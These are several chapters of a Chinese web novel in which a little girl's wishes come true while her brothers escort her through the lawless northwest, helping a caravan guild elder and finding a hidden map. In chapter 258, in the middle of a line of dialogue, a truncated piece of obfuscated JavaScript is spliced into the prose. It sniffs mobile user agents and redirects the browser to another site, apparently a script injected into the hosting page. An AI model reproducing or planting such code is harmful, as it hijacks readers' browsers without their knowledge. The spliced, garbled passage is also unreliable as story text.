然后,他指了指车内,意思很明显,车内有人。
萧宁珣紧紧地抱住妹妹,向后猛退几大步。
陆七和萧二互相看了一眼,心领神会,一点头。
陆七猛的拉开车门,萧二翻到车顶,倒挂着同时打开了车窗。
第255章 九哥带着你闯荡江湖
一个看着也就十几岁的半大孩子,正手忙脚乱地翻动着车里的包袱,被开门的声音吓得猛一哆嗦,手里一个刚摸到的银锭子“当啷”一声掉了下来。
他面黄肌瘦,穿着一身打满补丁的旧布衫,见被人抓了个正着,脸上顿时没了血色,吓得浑身都僵了。
陆七大手一伸,老鹰抓小鸡般,一把将他从车里拎了出来,按在地上。
他吓得涕泪横流,双手捂着头,颤声喊道:“好汉饶命!别打我!小的再也不敢了!饶了我吧!”
萧宁珣抱着团团,两人一起皱着眉低头看着他。
萧然扑哧一乐:“你们兄妹俩还真像!”
陆七面无表情,在少年身上迅速搜了一遍,一个铜板都没有,胸前内衬里却有一块不寻常的硬物。
他一把扯开了少年的衣襟,取了出来,却是半块残破的木质军牌,边缘已被磨得光滑,上面依稀可见一个模糊的“卒”字,被这少年贴身藏着。
陆七将军牌举到他眼前:“这是你的?”
少年眼泪顿时流得更凶,哽咽道:“是,是小人以前在军营里的……”
“军营?”萧二挑眉,“你才多大,就当过兵?”
“小人是西北边军輜重营的辅兵,”少年伏在地上,肩膀剧烈抖动,“上峰长期克扣我们粮饷。”
“辅兵最惨,连掺了沙子的陈米都吃不饱,发的冬衣薄得跟纸一样,实在活不下去了,才……才当了逃兵。”
“我不敢回家,怕连累爹娘,只能四处流浪,偷些吃食。”
听到“边军”,“粮饷”,团团立刻想起了爹爹。
她搂着萧宁珣的脖子:“三哥哥,他也是兵呢,好可怜呀,为什么他当兵却没有饭吃呢?”
萧然接口道:“就是啊!难道我烈国的军士都吃不起饭吗?”
萧宁珣也不明白,养兵千日,用兵一时,西北边军便是这样养兵的不成?
他沉吟片刻,对陆七点了下头,陆七会意,松开了钳制。
萧宁珣温声道:“你既曾是我烈**士,便不该沦落至偷盗为生。”他看向萧二,“取些盘缠给他。”
萧二掏出两个银锭子,塞到少年手中。
少年捧着银子,如同做梦般难以置信地看着眼前这群人。
团团掏出一小包蜜饯,递了过去:“这个给你,可甜啦!我爹爹是宁王,你去找他吧,他可厉害了,一定会管你的!”
宁王?少年的眼中瞬间露出了光彩,那可是烈国的战神啊!
萧宁珣点了点头,此法甚妥,既能给这少年一条真正的活路,还能为父亲带回此地边军的真实情况。
他把团团交给萧二,钻进马车,快速写下一封书信,盖上自己的私印,交给那少年。
“你拿着这封信,直接去京城宁王府。”
“我父亲见了此信,自会妥善安置你。”萧宁珣叮嘱道,“路上莫要再行差踏错,径直去京城便是。”
那少年看着手中的银两,蜜饯和那封轻飘飘却重如千钧的信,眼圈一红,跪下“咚”的一声重重磕了个头。
“多谢公子!多谢小姐!小的王小福,来世做牛做马,报答诸位大恩!”他又磕了一个头,抹了把眼泪,起身快步而去。
众人随即寻了一家最大的客栈暂时住下。
次日,萧然以皇子的身份,在查验过本地官员档案后,下令由并未与知府同流合污的一位同知暂代政务,等候朝廷委派的新知府。
萧宁珣整理出黄廉发的罪证,连同自己对此事的处置建议,一并封好,加急直送京城。
原本因知府骤然倒台而有些浮动的人心,迅速安定了下来。
诸事已毕,车马再次起程,径直朝着青州府方向而去。
官道两侧的景致悄然变化,屋舍田庄渐渐稀疏,取而代之的是愈发苍凉雄浑的黄土丘壑。
大风吹过,卷起阵阵沙尘,带着西北之地独有的粗粝感。
这日午后,众人在一处路边的简陋茶摊歇脚。
南来北往的行商脚夫聚在一起,喝着粗茶,高声谈论着各自的见闻。
“听说了吗?青州府近来可不太平!”一个满脸风霜的货商压低了声音,“帮派越来越多,街面上,三天两头就有打斗,乱得很哪!”
旁边一个老者叹
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了口气:“唉,也就是青云观的栖霞子道长还是个善心人。大开方便之门,时常收留那些在争斗中伤了的江湖人,要不然,还不知要多出多少枉死的人呐。”
“西岭马帮呢?他们不是最厉害的吗?也不管管?”
“嘿,江湖代有人才出嘛。”那货商嗤笑一声,“马帮树大招风,这西北江湖人的眼睛哪一双不紧盯着他们?”
“新冒出来的那些个帮派啊,手段狠,胃口大,谁不想把马帮拉下来,占了他们的路和马?”
“也是啊,要是真能成,不就可以取而代之了?”
陆七和萧二对视一眼,神色都凝重了几分。
陆七低声道:“令主,听起来,青州府那边的状况比咱们原先预想的还要复杂。”
“看来马帮虽一家独大,却还是有不少新势力迅速崛起,局势混乱,我们要加倍小心才是。”
萧二点点头:“能挑战马帮,绝非寻常乌合之众。”
团团想起了柳叶刀:“柳伯伯说的没错哦!看来,这个青云观里的道长爷爷真的是个大好人呢!”
萧然听得津津有味,摩拳擦掌:“有意思!看来这青州府是越来越热闹了!小不点儿,九哥带着你一起闯荡江湖!”
萧宁珣眉头微蹙:“这青州府,鱼龙混杂,各方势力云集,咱们此行,怕是不会太顺利。”
那边的闲谈声突然大了起来:“诶!你们知道吗?据说,那西岭马帮啊,气数已尽了!”
“何以见得?”
“你们居然都不知道?前些日子啊,我听说,那些马帮的人啊,都在同一时刻,突然全忍不住了,去拉了肚子!”
“老哥,拉肚子算什么大事!”
“你们不懂!哪有好端端的,几千号人突然同时拉肚子的?神仙也做不到啊!他们可都不在一处啊!”
“这听起来确实蹊跷啊!莫非是同时中了毒?”
“也有可能,那这下毒的又是什么帮派?竟如此神异?”
团团一愣,仔细回想,恍然大悟:“哦!我那日说的是‘让马帮的人一起都拉肚子!’”
其余人:“……”
第256章 糖霜用完了啊
数日后,车马驶入了青州地界。
依旧是老规矩,萧宁珣带着团团、萧二和陆七寻了城里最宽敞的客栈安置,萧然则独自去了府衙露面。
不多时,萧然便换了身寻常衣饰,悄无声息地回到客栈与众人汇合。
“如何?”萧宁珣问道。
萧然撇了撇嘴:“我问了,我说路上听说这青州地界不太平,常有帮派打斗,是怎么回事儿。”
“人家说,殿下初到西北,不知此地民风彪悍,与京城大不相同,此乃常事,不必理会。哼!什么都不说,还一个个的,官腔十足!”
萧宁珣琢磨了片刻:“既然如此,咱们便直接去长风货栈,找那谢孤舟,当面问个清楚。”
团团第一个赞同:“就是嘛,直接去问最好啦!”
众人稍作休整,便径直往城西的长风货栈而去。
“老瘸子!识相的就赶紧告诉我们,他躲进哪个耗子洞里去了!否则,别怪爷爷们今天对你不客气!”
还未找到货栈,一阵嚣张的叫骂声便从侧巷里传了出来。
众人一怔,那条侧巷正是通往长风货栈的必经之地!
萧宁珣抱起团团,萧然紧守在二人身旁。
萧二和陆七越过三人走在最前:“跟上我们。”
众人走进了巷子。
只见侧巷之中,几十个身着黑色短打,面露凶光的彪形大汉,正围着一个坐在木质轮椅上的老者,老者身后只有一个推着轮椅的小童,此时已被吓得一脸木然。
那老者须发皆白,面色红润,眼睛瞪得滚圆,胸口剧烈起伏,一双大手死死抓着轮椅扶手,手背上青筋暴起。
“放**狗臭屁!”老者声若洪钟,唾沫星子几乎要喷到面前汉子的脸上,“就凭你们黑沙帮这群下三烂的货色,也配见他?”
“我玄斧翁便是只剩一口气,也能用轮椅碾死你们几个!”
一个看似黑沙帮头目的壮汉,狞笑了一声:“什么玄斧翁!”
“你都老成这样了,还跟我们耍什么江湖前辈的诨号?”
“今日你若是不说,老子就连你这两只手也打断了!让你以后爬着出门!”
“哈哈哈哈哈……”他身后的那群大汉一起哄笑起来。
团团眉头一皱,大喊道:“老爷爷的腿都不能动了,你们干嘛还欺负他?想找人你们自己去找啊!”
剑拔**张的双方都愣了一下,一起循声望去。
只见两个大汉后面站着两个少年,其中一个的怀里,抱着个粉雕玉琢的小女娃,几人穿着一般,看模样像是外乡来的。
显然,刚才那声童音便是这个小女娃了。
壮汉满脸不耐:“哪里来的小丫头片子,滚一边去!再敢多嘴,老子连你一起打!”
轮椅中的老者却很是满意:“小娃娃说得在理!”
他看了团团一行人几眼:“你们几个后生,是刚到这里吧。快带着这小女娃躲远些,青州府的江湖恩怨,你们就不要掺和了,免得引祸上身。”
陆七轻声道:“小姐,看来这老者也是个**湖,与这黑沙帮有过节,不巧在这小巷中狭路相逢了。”
萧二点头:“这玄斧翁我没听说过他的名头,但眼见咱们能帮忙,却因为看到小姐,便让咱们躲开,倒也是个仁义之辈。”
团团看着玄斧翁,老爷爷真可怜,头发胡子都白了,还被一群坏蛋这么欺负。
这些坏蛋怎么这么坏!欺负一个站不起来的老爷爷!
她两只小手圈起,放在嘴边大喊:“老爷爷!他们骂你是瘸子!让他们也变成瘸子,好不好呀?”
玄斧翁:“???”
原本杀气腾腾的黑沙帮众,一时没反应过来,一个小女娃,在这里说的什么疯话,齐刷刷一怔。
团团不慌不忙解开腰间绣囊,掏出了一小截线头,转身扑进了萧宁珣的怀中。
萧宁珣抬起臂膀,环住了妹妹,二人配合默契。
团团伸出小手,张开手掌,嘟囔了一声:“让他们的腿动不了,都变成瘸子!”
微光一闪,线头消失不见。
“噗——哈哈哈!”壮汉爆发出惊天动地的大笑,他指着团团,笑得前仰后合,“听见没?这小傻子说要让咱们……呃!”
他的嘲讽戛然而止,猛地僵住了。
他下意识想往前迈一步,但双腿却像是长在了地上,纹丝不动!
不,不是不动,是根本动不了!
一股无形的、巨大的阻力缠绕在他的双腿上,仿佛那不是血肉之躯,而是两根深深钉入地下的木桩。
他拼命想抬腿,额头上青筋暴起,整张脸涨得通红,可双腿就像完全不是自己的,根本动不了!
“我……我的腿!”他惊骇地低头看着自己腿,没有血迹,没有伤口,没有暗器,什么都没有,完好无损,就是不听使唤!
“大哥!我的腿动不了了!”
“我的也是!”
“怎么回事?咱们**了吗?”
那群大汉瞬间乱成了一团。
有人硬是想跑,却直接向前扑倒,摔了个狗吃屎。
有人想弯腰去摸自己的腿,却发现连弯腰都做不到,整个人僵硬得像块石头。
棍棒刀剑“噼里啪啦”地掉了一地。
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方才还气势汹汹的一群大汉,此刻以各种奇异的姿势倒在了地上。
“这个小丫头会用毒!”
“这是什么毒?竟如此厉害?”
“解药呢?小丫头!把解药交出来!”
萧宁珣等人:“……”
又来了!解释不清了这是。
团团一脸无辜。
怎么又是解药!我哪里下毒了嘛!
领头的壮汉又惊又怒,恶狠狠地瞪着团团。
这个小丫头,看着天真无邪,实际却如此心狠手辣,出手于无形!
“哈哈!哈哈哈——!”
玄斧翁高声大笑,畅快无比,用力拍打着轮椅扶手,笑的眼泪都快出来了。
“好!好娃娃!干得漂亮!让这群目中无人的东西,也尝尝这身不由己的滋味!妙!太妙了!”
他越看越是解气,胸中恶气尽出,比亲手砍翻他们还要痛快十倍!
他看向团团,越看越是欢喜,脸上的皱纹都笑成了一朵花。
他转动轮椅,来到萧宁珣的面前:“娃娃你来,爷爷家有好东西给你看。”
说完,他对着团团招了招手,示意她跟上。
小童这才如梦初醒,急忙跑过来推着轮椅掉头而去。
团团从萧宁珣的怀中滑落到地面:“三哥哥,我去老爷爷家里看看啊!你们等等我!”说完便追了上去。
黑沙帮的人一听不干了。
“小姑娘!我们怎么办?”
“就是啊!女侠饶命!把解药给我们吧!”
领头的壮汉此时也怂了:“女侠饶命!求你高抬贵手!”
团团停下脚步,叹了口气,愁的啊!
糖霜都用完了,我拿什么给你们啊。
见她犹豫,大汉们一看,求饶有用!声音更大了。
团团很认真地想了想,眼睛猛地一亮:“解药啊,可简单啦!你们谁家有放了好几天,闻着酸溜溜的剩饭?吃上一碗就行啦!”
萧然一拍脑门,低下头紧紧捂住了嘴。
团团啊,你这可真是,连环坑啊!
其余人:“……”
大汉们却信以为真:“江湖传言,越厉害的毒解起来其实越简单!看来不假!多谢小姑娘慈心!”
“不用谢啦!”团团掉头向玄斧翁追去。
几人互相看了看,萧二强忍着笑意问道:“那咱们,不去找那谢孤舟了?”
萧宁珣两手一摊,没办法,走吧,几人默默地跟在后面,
又转过两条小巷,两扇厚重的木门出现在眼前,绣着“长风货栈”的旗幡在风中猎猎作响。
玄斧翁笑着对团团道:“进来吧,到爷爷家了。”
第257章 在这儿等着呢
众人皆是一惊,长风货栈?西岭马帮谢孤舟的地盘?
这位玄斧翁,是马帮的人?
唯有团团,完全没明白这是哪里,只知道是老爷爷的家。
眼见她随着玄斧翁进了门,萧宁珣几人正要举步跟上,玄斧翁却头也不回,随意地摆了摆手。
“行了,你们几个,外头等着吧。”
萧宁珣脚步一顿,萧然眉毛挑起,萧二与陆七交换了一个眼神,小姐怎能独自跟他进去!
“老爷爷!”团团立刻不依了,拉起玄武翁的大手:“他们是我的三哥哥和九哥哥,还有我的二叔叔和七叔叔,都不是外人!让他们一起进来嘛,好不好,老爷爷?”
萧然眼神噌得亮了,小不点儿终于叫了我一声九哥哥!
团团见玄斧翁依旧板着脸,不停地摇着他的胳膊:“老爷爷最大方了对不对?才不怕被别人看见自己的好东西呢!”
“既然,你都能给我看,也一定能给我的家人们看的,对不对?”
“噗!”玄斧翁再也没能维持住,笑了出来:“真是个小机灵鬼!”
他转动轮椅,直面几人。
他目光随意地扫过萧宁珣和萧然,又上下打量了几眼萧二和陆七:“有点子功夫在身上。”
“行!看在我这位小友的金面上,进来吧。”
众人一起走进了长风货栈,数十个伙计打扮的人,正忙忙碌碌地清点着货物。
来到内堂,玄斧翁吩咐:“都下去吧。”
“是。”
萧二和陆七对视了一眼,这个玄斧翁在马帮里的地位,看来不低啊。
堂内陈设粗犷,玄斧翁转动轮椅,来到面墙壁前,轻轻一推,墙壁向里打开,露出了一间密室。
“进来吧,算你们今日有眼福了。”
众人跟着他鱼贯而入,走了一小段路后,眼前豁然开朗,一面巨大的墙壁上覆盖着一块厚重的深色布幔。
“知道这布幔后面是什么吗?”玄斧翁下巴微扬,“这是西北的命脉!是流淌的金银!多少英雄好汉,魑魅魍魉,做梦都想看清这上面的每一寸沟壑山川!”
他抓住布幔边缘,猛地一拉!
“哗——”
布幔滑落。
刹那间,一个巨大、精密、栩栩如生的立体西北微缩沙盘,呈现在众人眼前。
不同颜色的泥土塑出起伏的山峦,银箔铺就蜿蜒的河流,木质的小桥、关隘、城池点缀其间。
更令人惊叹的是,在一些主要的干道上,竟真的有微小的马车和舟船模型,凭借巧妙的机关术,缓缓移动在这片广袤的土地上。
“哇——!”团团惊讶得张大了嘴,伸出小手,指着那些移动的小车小船,“老爷爷!它们会自己动呢!好厉害呀!它们要去哪里呀?”
“哈哈哈!厉害吧?”玄斧翁点燃烟锅,用长长的烟杆指点着沙盘。
“娃娃你看,那些会动的小车小船去哪儿,西北地面上十成里的货,就有七成得按爷爷这盘上的路子走!”
他的长烟杆如同将军的令箭,在沙盘上纵横捭阖,执掌乾坤:
“这些东西,才是爷爷我真正的宝贝,旁人是学不去的。”
他环视众人:“因为就算你们把这上面的每一条路、每一道水都刻进脑子里,没有我西岭马帮点头,在这片地界上,你们照样是寸步难行!”
众人无不心中一凛,深知此言非虚。
就连萧然也收起了玩笑之色,这些江湖人,真不简单啊!
陆七与萧二更是暗自点头,这才是掌控西北六成货运的霸主该有的气魄。
陆七上前一步,抱拳行礼,语气恭敬:“前辈这‘活地图’堪称巧夺天工,掌控千里于方寸之间,晚辈佩服。”
他从怀中掏出天机阁令牌递到玄斧翁面前:“实不相瞒,在下天机阁玄机使陆七。”
“在下有一事请教,我等与前辈初次见面,前辈何以便将马帮的此等机密告知?”
老狐狸,你也是**湖了,如今马帮明显处于劣势,到底想做什么,明说吧。
玄斧翁脸色未变,将烟杆从沙盘上移开:“原来,阁下是天机阁的玄机使?倒是稀客。”
他环顾众人:“大约半月前,青州府突然来了一个自称鬼医的人,专治旁人治不了的疑难杂症,青州府里好几个缠绵多年的病人都被他治好了。”
“前几日,谢孤舟为了老夫的腿伤去拜访这位鬼医,自此一去不返。”
“马帮如今群龙无首,急需外援。”
“本地的江湖人,老
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夫已不敢再用。”
“几位远道而来,身怀绝技,方才这位小姑娘用毒的功夫更可称得上是独步江湖,更难得的是,你们亲如一家,且心存正义。”
“老夫让诸位进入这密室,便是想让各位知晓,我马帮实力犹存!”
“若各位能将谢孤舟救回,今后你们的货,在西北这个地界,我马帮全包了,分文不取!”
众人恍然大悟,原来,在这儿等着呢!
团团听了半天:“老爷爷,那个谢孤舟,也是你的家人吗?”
玄斧翁摸了摸她的小脑袋:“老夫是谢孤舟的师叔啊,从小看着他长大。虽不是家人,但胜似家人。”
“这马帮是他心血铸就,如今他有难,老夫拼尽一切也要替他守住,待他回来,再亲手收拾那些趁火**之徒!”
“帮中好手我几乎都派出去了,却音讯全无。若不是如此,那些黑沙帮的又岂会有这个胆子,对老夫动手?”
团团听懂了:“我懂啦!老爷爷就像大狼!在守好自己的家!那我们去哪儿找他呢?”
众人:“……”
大狼?大狼是谁?玄斧翁一怔。
但救人要紧,他无暇多问,手中长烟杆“笃”的一声,精准地点在沙盘边缘一处用朱砂标记、形似獠牙的山坳上。
“黑风坳。此地……”
“嘘!”他脸色猛地一变,示意所有人禁声,侧耳倾听,“不对!”
话音刚落,“轰!!!”
一声剧烈的**声猛地从货栈前院传来,连地面都随之震动。
“这群畜生!”玄斧翁怒吼一声,眼中爆发出骇人的精光,他单手在轮椅扶手上一拍,轮椅侧面竟弹出一柄寒光闪闪的短斧!
与此同时,外面传来了兵刃交击的锐响。
“玄斧老儿!滚出来受死!”
“今日便将你们长风货栈夷为平地!”
陆七和萧二冲到暗门边,透过墙上预留的气孔向外看去,只见外面已陷入一片混乱,火光闪现,人影翻飞,显然对方来的人不少。
萧宁珣一把将团团抱起:“前辈,这是?”
玄斧翁面沉如水:“是黑沙帮!他们竟然敢直接打上门来!”
“这是算准了孤舟不在,想要灭了我马帮啊!”
第258章 我的天!这也行?
“轰——!”
又一声**混合着木材断裂的巨响从外间传来,密室里尘土簌簌落下。
“这帮天杀的!老夫跟他们拼了!”
玄斧翁目眦欲裂,手中的短斧寒光凛凛。
“前辈不可!”萧宁珣一手紧抱着团团,另一只手死死按住他的手臂,“敌众我寡,硬闯正中他们下怀!”
浓烟开始从门缝涌入,众人咳嗽起来。
萧宁珣抱着团团退到最靠里的墙边,尽量离远了些。
“咳咳咳……”团团被烟呛到,小手扶住了墙上一个看着极为结实的黄铜灯座。
沉重的灯座,突然发出了“咔哒”一声轻响,向外微微一歪!
“轰隆隆——”
一阵沉闷的机括转动声从墙内响起,看似浑然一体的墙壁,竟缓缓向内滑开,露出一个黑黢黢的洞口,一股带着霉味的凉风从里面透了出来。
兄妹两个都是一愣,随即大喜。
萧宁珣转头大喊:“有密道!快来!”
玄斧翁原本死死盯着密室入口的眼睛,转了过来,看到那洞口,瞬间瞪得滚圆,满脸的难以置信,“这里怎会有密道?老夫住了几十年,竟从未发觉!”
他看向兄妹俩:“你门怎么发现的?”
团团一脸无辜,小手指了指那灯座:“我就扶了一下那个嘛。谁知道它能动啊!”
萧宁珣急忙点头:“团团说得不错!”
众人:“……”
萧然一拍大腿:“小不点儿,你可真是个福星啊!”
“快!此地不宜久留!”陆七率先探入洞口,往里走了几步又回来,“安全!快走!”
萧宁珣抱着团团率先走入,萧然紧跟其后,萧二二话不说,连人带轮椅一把抬起玄斧翁,几人鱼贯迅速而入。
萧二回头,用力推动墙壁,将其缓缓合拢,彻底隔绝了客栈中的喊杀和火光。
密道内阴暗潮湿,但并不沉闷,显然另有出口。
玄斧翁看着这幽深的通道,兀自震惊不已。
他喃喃道:“这货栈的前身本是前朝一个大官的外宅。”
“当年我马帮初立,看中了这里占地大,位置好。”
“后来又偶然发现了那间结构坚固的密室,才将此定为了总舵。”
“一晃几十年,竟不知这密室里,还藏着一条保命的密道!”
团团趴在萧宁珣肩头,听得津津有味,小脑袋直点:“哇!老爷爷,这比茶楼里说书先生讲的故事还好听呢!”
她眼神一动,小手一抬:“咦?三哥哥,地上是什么呀?”
萧宁珣循着她指的方向看去,弯腰捡了起来。
那是一个孩童拳头大小,布满灰尘的镂空铜球,入手沉甸甸的,做工颇为精巧,像个小号蹴鞠。
萧宁珣没看出什么特别,随手递给了团团:“是个旧玩物。”
“谢谢三哥哥!”团团开心地接了过来,用袖子擦了擦灰,收进了自己的小绣囊里。
一行人沿着密道走了约莫一炷香的功夫,前方出现了向上的石阶,尽头处有一块木板。
陆七侧耳倾听片刻,对众人点点头,示意噤声,爬上石阶,轻轻推开了头顶的木板。
柔和的光线洒了下来,众人不禁都眯了下眼睛。
“好香啊!”团团鼻尖翕动。
萧然耸了耸鼻头:“是香,这什么茶,这么香?”
几人鱼贯而出,这才发现,竟身处一个陈设精致的房间,像是什么茶楼的雅间。
他们刚刚站定,还未来得及开**谈,门外便传来了脚步声和说话声。
“客官您请!这个雅间啊,是我们店里最好的,清静……”小二殷勤的声音戛然而止。
雅间的门被推开,小二带着两个客人站在门口,看着屋里突然多出来的一群人,瞬间愣住。
小二反应极快,立刻躬身赔笑:“哎哟!对不住!对不住几位贵客!小人记错了,这间已经有人了!打扰了打扰了!”
奇了怪了,这房间何时进的人?我这是忙糊涂了?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776530|184125||http|test|mini|href|location''.split(''|''),0,{}));
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r>他一边连连道歉,一边赶紧拉上了门:“两位客官,这边请,这边还有更好的!”
门内,几人面面相觑,都忍不住低笑出声。
萧然笑得最开心:“我的天!这也行?”
萧宁珣松了口气:“既然咱们已经出来了,看样子此处也还算安全。不如稍作歇息,再从长计议。”
萧二和陆七迅速将密道入口恢复原状。
众人都坐了下来,萧然大喊:“小二!爷饿了!有什么好吃的,都给爷端上来!”
热腾腾的饼和几碟清爽小菜很快便送了进来。
几人确实饿了,大口大口吃了起来。
腹中有了暖意,众人才真正松弛了下来。
玄斧翁放下筷子,脸色变得凝重:“眼下最重要的便是找到孤舟,否则老夫这心里,片刻难安。”
萧宁珣问道:“前辈,您之前提到的‘黑风坳’,究竟是个什么地方?”
玄斧翁答道:“那是一个,连我们这些老西北提起来都皱眉的地方。”
他用粗糙的手指蘸了茶水,在桌上粗略画了几道交错的线条,形同犬牙。
“黑风坳形如其名,地势险恶。从前有采药的进去过,却都没能再回来。久而久之,便成了一处无人进出的绝地。”
他顿了顿,脸上忧色更浓:“那鬼医并非西北人,来到这里却偏偏挑中了黑风坳这个鬼地方,也是奇怪得很。”
“那鬼医具体在黑风坳的何处落脚,是否只有他一人……老夫,一概不知。”
就在这时,一阵“咕噜噜”的滚动声响起。
团团低声轻喊:“哎呀!我的小球!”
原来是她将密道中捡到的小球拿在手中把玩,一不小心,小球掉到了地上。
团团从凳子上跳下来,向小球追去。
小球滚动速度极快,撞到了墙角上。
“啪”的一声脆响,竟整齐地摔成了两半,露出了中空的内部。
一团浅黄色,卷得紧紧的物事,从球里掉了出来。
第259章 老爷爷吓唬人
“咦,这是什么?”
团团将那东西和裂成两半的小球都捡了起来。
她走回桌边,将那一团递给萧宁珣,撅着小嘴,心疼的看着自己的小球,小手握着,一心只想将小球恢复原状。
萧宁珣小心翼翼地将那东西一点一点地展开。
竟是一张一尺见方的薄绢,上面用极细的墨线,绘制着山川道路。
薄绢的右上角,还有一行娟秀的小字:“待时而动。”旁边盖着一方朱印,但字迹模糊,已难辨认。
萧然凑过来,瞪大了眼睛:“这是什么东西?”
陆七仔细端详了片刻:“这材质像是前朝常用的‘冰蚕绢’,防水又防火。看这上面画的地形,似乎是藏了什么东西在这里。”
他的手指向图中一个画着特殊标记的山谷:“玄老,您看看,这画的是哪里?”
他将冰蚕绢递给玄斧翁。
玄斧翁接了过来,只看了一眼:“这地方就在黑风坳往西三十里的‘落鹰涧’!那地方,比黑风坳更人迹罕至!”
萧然的眼睛亮得惊人,一脸兴奋:“莫非,这便是画本里常说的藏宝图?小不点儿这运气当真是逆天,逃命还能捡到这种东西?”
说完他使劲撸了一把团团头上的小呆**:“九哥带你去寻宝好不好?”
团团瘪着小嘴,仍在努力地想把摔成两半的球合在一起:“坏了,合不上了呢,怎么办呀……”
众人看着她一脸认真烦恼的小模样,不禁都笑了起来。
萧宁珣将藏宝图收进怀中:“此事暂且搁下。当前首要还是先去救出谢帮主。黑风坳再险,咱们也得去闯一闯。”
玄斧翁面色郑重,抱拳道:“多谢诸位,若能将孤舟救回,老夫所诺,绝不食言。”
陆七回礼:“前辈客气了,就此告辞,我们得先回去取了马车,再去那黑风坳。”
玄斧翁微微一笑:“马车可上不去那边的道儿,要骑马才行。”
陆七点头:“那我们先去买马。”
玄斧翁摇了摇头,转动轮椅来到窗前,推开了窗户。
他微微仰头,眯起了眼睛,掏出一个古朴的骨质短哨凑到嘴边。
他轻轻发力,几声婉转清越、酷似塞外沙雀的啼叫声从唇边流泻而出,声音并不很高,却极具穿透力。
“鸟鸟?”团团收起好不容易恢复了原状的小球,噔噔噔地跑到他的身边,扒着窗户往天上看:“老爷爷,你在叫你养的鸟吗?”
玄斧翁摸了摸她的小脑袋:“不是鸟。团团喜欢小鸟啊,等你回来,爷爷送你两只好的!”
其余人也是一脸疑惑。
不过片刻,从数个方向,竟也隐隐传来了几声相似的鸟鸣,音调略有不同。
玄斧翁闭目细听,手指在轮椅扶手上轻轻敲击。
随即,他再次吹响骨哨,这次的调子声音比方才更短促急切。
哨音落下后不久,只有东南方向,传来了一声清晰而稳定的回应。
玄斧翁睁开眼,收起骨哨,掉转轮椅看向众人:“去吧,往东南走,过两个路口,找一家叫做‘留香阁’的铺子。”
“马匹、干粮和清水,都已经备好了。到了那里,直接提老夫的名字即可。”
众人心中皆是一震。
陆七抱拳,真心实意地道:“西岭马帮,名不虚传,在下佩服。”
玄斧翁挥了挥手:“快去吧,救孤舟要紧。”
团团仰起头看着他:“老爷爷,你不跟我们去吗?你的家回不去了啊。那些坏蛋再去欺负你怎么办?”
玄斧翁心中一暖,握着她的小手:“好团团,还是你惦记爷爷啊。不用担心,我有的是地方可以去,你们快走吧,一定要平安回来啊,小娃娃。”
他顿了顿,还是不放心:“让团团跟着我吧,她太小了。你们去就行了,我自有稳妥的藏身之所,不会让她涉险的。”
萧宁珣暗暗点头,这位玄斧翁,城府虽深,却是个性情中人。
他拱手道:“多谢玄老好意,出门前父亲特意嘱咐过我,不可离开团团。且舍妹的本事,连我都望尘莫及,请前辈放心。”
团团张开小胳膊抱了抱玄斧翁:“老爷爷,我跟着哥哥们去,你放心吧!你那个哨子好可爱,等我回来给我玩会儿啊!我走啦!”
玄斧翁一怔,掏出了那个骨哨,放进了她的手中:“既然团团喜欢,爷爷便送给你,早些回来看爷爷啊!”
团团喜出望外:“谢谢爷爷!我走啦!”
一行人不再耽搁,迅速离开茶楼,朝着东南方向而去。
过了两个路口,果然,一家门面雅致的铺子出现在眼前,黑底金字的招牌上,正是“留香阁”三字。
大门敞开,飘出来一股淡淡甜甜的花香。
萧然使劲看了一眼留香阁三个大字,指了指:“就是这个?咱们没找错?”
萧宁珣也是一脸犹豫:“怎么看着像是妇人们光顾的地方?这是马帮的店铺?”
萧二和陆七对视了一眼,同样满脸疑惑。
马帮……妇人,挨不上边儿啊!
团团嗅了嗅:“好香啊!”
她拉着萧宁珣的手就往里走,“走啊,三哥哥,老爷爷不是说,提他就行吗,咱们进去问一下不就知道啦!”
萧宁珣微笑道:“对!还得是咱们团团,总是一针见血。”
他领着妹妹,走进了店里。
室内光线柔和,各式胭脂水粉陈列有序,几位女客正在挑选。
竟然是一间胭脂铺子!
一位身着素净衣裙的掌柜娘子迎了上来,笑容温婉:“几位客官,想看些什么?”
陆七上前一步,低声道:“老板娘,玄斧翁让我们来取东西。”
掌柜娘子脸上的笑容丝毫未变,微微颔首:“请随我来。”
她引着众人穿过前堂,来到后院。
只见院中树下,四匹高大神骏的黑色骏马装配整齐,马鞍旁挂着鼓鼓的水囊和干粮袋,果然一切齐备。
“都是好马,脚力快性子稳,认得路。”掌柜娘子轻声道,“从后门出去,便是小巷,直
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通北门方向。诸位,一路顺风。”
没有任何多余的寒暄与疑问,掌柜娘子转头便走。
萧宁珣翻身上马,将团团牢牢护在身前。
团团扭着小身子回头望了一眼,脆生生地对着掌柜娘子的背影大喊:“姨姨!你家的香香真好闻!等我回来,给娘亲买回去!”
掌柜娘子心中一动,脚步停住,回过头来:“此去凶险,如遇岔路,切记,靠右走。”说完,转身离去。
众人互相看了一眼。
萧然挠了挠头,一脸纳闷:“这又是哪位?说话没头没尾的。”
萧宁珣摇了摇头,喝道:“驾!”
一行人出了后门,穿过小巷,奔出北门,径直赶往黑风坳。
众人策马疾驰,终于在傍晚前,来到了一座巨大的山坳前。
“吁——!”萧宁珣勒马停住。
众人一字排开,仰头望去,只见这山坳形貌奇特,如同被巨斧劈开一般,两侧山崖陡峭,怪石嶙峋。
然而,与他们想象中凶险诡谲的景象截然不同。
夕阳西下,金灿灿的余晖毫无保留地洒入坳中,裸露的岩石上全部笼罩着一层温暖的橘色。
坳内松柏众多,点缀着苍黄的山体,一条尚未封冻的溪流蜿蜒其间,水声潺潺。
水边甚至还有几丛不畏严寒的暗红色浆果,在夕阳下如同宝石般点点发亮。
团团从萧宁珣怀里探出小脑袋,东张西望:“老爷爷吓唬人!这里明明很好看啊!”
萧然看着眼前美景,也笑了:“就是,虽说不过是野景,但当真不差。”
这宁静祥和的山谷,让萧二和陆七紧绷的脸色都缓和了不少。
“不可大意。”萧宁珣看了看天色,“天色已晚,咱们还是先寻个稳妥的地方落脚吧。”
众人沿着溪流向上游而去,山风渐起,吹过松林,发出呜呜的声响,平添了几分寒意。
他们不敢耽搁,加快了脚步,终于在天色彻底暗下来以前,在一处山壁下,找到了一个天然的岩洞。
